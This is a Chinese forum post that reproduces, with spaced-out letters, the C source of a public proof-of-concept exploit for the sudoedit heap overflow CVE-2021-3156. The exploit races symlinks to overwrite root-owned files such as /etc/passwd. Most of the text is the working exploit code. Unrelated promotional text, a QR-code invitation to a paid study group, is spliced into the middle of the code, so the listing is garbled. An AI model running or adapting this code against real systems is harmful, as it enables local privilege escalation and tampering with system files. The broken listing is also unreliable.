/ /   E x p l o i t   b y   @ g f _ 2 5 6   a k a   c t s / /   W i t h   h e l p   f r o m   r 4 j / /   O r i g i n a l   a d v i s o r y   b y   B a r o n   S a m e d i t   o f   Q u a l y s / /   T e s t e d   o n   U b u n t u   1 8 . 0 4   a n d   2 0 . 0 4 / /   Y o u   w i l l   p r o b a b l y   n e e d   t o   a d j u s t   R A C E _ S L E E P _ T I M E . # i n c l u d e   < s t d i o . h > # i n c l u d e   < s t d i n t . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < s t r i n g . h > # i n c l u d e   < s t d l i b . h > # i n c l u d e   < a s s e r t . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < s y s / w a i t . h > # i n c l u d e   < s y s / t y p e s . h > # i n c l u d e   < s y s / r e s o u r c e . h > # i n c l u d e   < s y s / s t a t . h > # i n c l u d e   < u n i s t d . h > # i n c l u d e   < f c n t l . h > # i n c l u d e   < p w d . h > / /   ! ! !   b e s t   v a l u e   o f   t h i s   v a r i e s   f r o m   s y s t e m - t o - s y s t e m   ! ! !   / /   ! ! !   y o u   w i l l   p r o b a b l y   n e e d   t o   t u n e   t h i s   ! ! !   # d e f i n e   R A C E _ S L E E P _ T I M E   1 0 0 0 0 c h a r   * t a r g e t _ f i l e ; c h a r   * s r c _ f i l e ; s i z e _ t   q u e r y _ t a r g e t _ s i z e ( ) {         s t r u c t   s t a t   s t ;         s t a t ( t a r g e t _ f i l e ,   & s t ) ;         r e t u r n   s t . s t _ s i z e ; } c h a r *   r e a d _ s r c _ c o n t e n t s ( ) {         F I L E *   f   =   f o p e n ( s r c _ f i l e ,   " r b " ) ;         i f   ( ! f )   {                 p u t s ( " o h   n o   b a b y   w h a t   a r e   y o u   d o i n g   : ( " ) ;                 a b o r t ( ) ;         }         f s e e k ( f ,   0 ,   S E E K _ E N D ) ;         l o n g   f s i z e   =   f t e l l ( f ) ;         f s e e k ( f ,   0 ,   S E E K _ S E T ) ;         c h a r   * c o n t e n t   =   m a l l o c ( f s i z e   +   1 ) ;         f r e a d ( c o n t e n t ,   1 ,   f s i z e ,   f ) ;         f c l o s e ( f ) ;         r e t u r n   c o n t e n t ; } c h a r *   g e t _ m y _ u s e r n a m e ( ) {         / /   g e t l o g i n   c a n   r e t u r n   i n c o r r e c t   r e s u l t   ( f o r   e x a m p l e ,   r o o t   u n d e r   s u ) !         s t r u c t   p a s s w d   * p w s   =   g e t p w u i d ( g e t u i d ( ) ) ;         r e t u r n   s t r d u p ( p w s - > p w _ n a m e ) ; } i n t   m a i n ( i n t   m y _ a r g c ,   c h a r   * * m y _ a r g v ) {         p u t s ( " C V E - 2 0 2 1 - 3 1 5 6   P o C   b y   @ g f _ 2 5 6 " ) ;         p u t s ( " o r i g i n a l   a d v i s o r y   b y   B a r o n   S a m e d i t " ) ;                 i f   ( m y _ a r g c   ! =   3 )   {                 p u t s ( " . / m e m e   < t a r g e t   f i l e >   < s r c   f i l e > " ) ;                 p u t s ( " E x a m p l e :   . / m e m e   / e t c / p a s s w d   m y _ f a k e _ p a s s w d _ f i l e " ) ;                 r e t u r n   1 ;         }         t a r g e t _ f i l e   =   m y _ a r g v [ 1 ] ;         s r c _ f i l e   =   m y _ a r g v [ 2 ] ;         p r i n t f ( " w e   w i l l   o v e r w r i t e   % s   w i t h   s h i t   f r o m   % s n " ,   t a r g e t _ f i l e ,   s r c _ f i l e ) ;         c h a r *   m y u s e r n a m e   =   g e t _ m y _ u s e r n a m e ( ) ;         p r i n t f ( " h i ,   m y   n a m e   i s   % s n " ,   m y u s e r n a m e ) ;         s i z e _ t   i n i t i a l _ s i z e   =   q u e r y _ t a r g e t _ s i z e ( ) ;         p r i n t f ( " % s   i s   % z i   b i g   r i g h t   n o w n " ,   t a r g e t _ f i l e ,   i n i t i a l _ s i z e ) ;         c h a r *   s h i t _ t o _ w r i t e   =   r e a d _ s r c _ c o n t e n t s ( ) ;         c h a r   m e m e d i r [ 1 0 0 0 ] ;         c h a r   m y _ s y m l i n k [ 1 0 0 0 ] ;         c h a r   o v e r f l o w [ 1 0 0 0 ] ;         c h a r *   b i g s h i t   =   c a l l o c ( 1 , 0 x 1 0 0 0 0 ) ;         m e m s e t ( b i g s h i t ,   ' A ' ,   0 x f f f f ) ;   / /   n e e d   a   b i g   s h i t   i n   t h e   s t a c k   s o   t h e   w r i t e   d o e s n ' t   f a i l   w i t h   b a d   a d d r e s s         c h a r   * a r g v [ ]   =   { " / u s r / b i n / s u d o e d i t " ,   " - A " ,   " - s " ,   " " ,         o v e r f l o w ,         N U L L         } ;         c h a r   * e n v p [ ]   =   {                 " n n n n n " ,   / /   p u t   s o m e   f u c k e n   n e w l i n e s   h e r e   t o   s e p a r a t e   o u r   r e a l   c o n t e n t s   f r o m   t h e   j u n k                 s h i t _ t o _ w r i t e ,                 " S U D O _ A S K P A S S = / b i n / f a l s e " ,                 " L A N G = C . U T F - 8 @ a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a a " ,           b i g s h i t ,                 N U L L         } ;         p u t s ( " o k   p o d r a c i n g   t i m e   b i t c h e s " ) ;         f o r   ( i n t   i   =   0 ;   i   <   5 0 0 0 ;   i + + )   {                 s p r i n t f ( m e m e d i r ,   " a y y l m a o b i g c h u n g u s s s s s s s s s s s s 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 % 0 8 d " ,   i ) ;                 s p r i n t f ( o v e r f l o w ,   " 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 % s " ,   m e m e d i r ) ;                 s p r i n t f ( m y _ s y m l i n k ,   " % s / % s " ,   m e m e d i r ,   m y u s e r n a m e ) ;                 p u t s ( m e m e d i r ) ;                                 i f   ( a c c e s s ( m e m e d i r ,   F _ O K )   = =   0 )   {                         p r i n t f ( " d u d e ,   % s   a l r e a d y   e x i s t s ,   d o   i t   f r o m   a   c l e a n   w o r k i n g   d i r n " ,   m e m e d i r ) ;                         r e t u r n   1 ;                
六 、 六 、 E x p 的 的 g d b 调 试 调 试 未 完 待 续 . . . 扫 描 下 方 二 维 码 加 入 星 球 学 习 扫 描 下 方 二 维 码 加 入 星 球 学 习 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！ 加 入 后 会 邀 请 你 进 入 内 部 微 信 群 ， 内 部 微 信 群 永 久 有 效 ！     目 前 目 前 3 6 0 0 0 + 人 已 关 注 加 入 我 们 人 已 关 注 加 入 我 们 }                 p i d _ t   c h i l d p i d   =   f o r k ( ) ;                 i f   ( c h i l d p i d )   {   / /   p a r e n t                         u s l e e p ( R A C E _ S L E E P _ T I M E ) ;                         m k d i r ( m e m e d i r ,   0 7 0 0 ) ;                         s y m l i n k ( t a r g e t _ f i l e ,   m y _ s y m l i n k ) ;                         w a i t p i d ( c h i l d p i d ,   0 ,   0 ) ;                 }   e l s e   {   / /   c h i l d                         s e t p r i o r i t y ( P R I O _ P R O C E S S ,   0 ,   2 0 ) ;   / /   s e t   n i c e   t o   2 0   f o r   r a c e   r e l i a b i l i t y                         e x e c v e ( " / u s r / b i n / s u d o e d i t " ,   a r g v ,   e n v p ) ;   / /   n o r e t u r n                         p u t s ( " e x e c v e   f a i l s ? ! " ) ;                         a b o r t ( ) ;                 }                 i f   ( q u e r y _ t a r g e t _ s i z e ( )   ! =   i n i t i a l _ s i z e )   {                         p u t s ( " t a r g e t   f i l e   h a s   a   B R U H   M O M E N T ! ! ! !   S U C C e s s ? ? ? " ) ;                         s y s t e m ( " x d g - o p e n   ' h t t p s : / / w w w . y o u t u b e . c o m / w a t c h ? v = 4 v k R 1 G _ D U V c ' " ) ;   / /   a y y   l m a o                         r e t u r n   0 ;                 }         }         p u t s ( " F a i l e d ? " ) ;         p u t s ( " i f   a l l   t h e   m e m e   d i r s   a r e   o w n e d   b y   r o o t ,   t h e   u s l e e p   n e e d s   t o   b e   d e c r e a s e d . " ) ;         p u t s ( " i f   t h e y ' r e   a l l   o w n e d   b y   y o u ,   t h e   u s l e e p   n e e d s   t o   b e   i n c r e a s e d " ) ;         r e t u r n   0 ; }
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理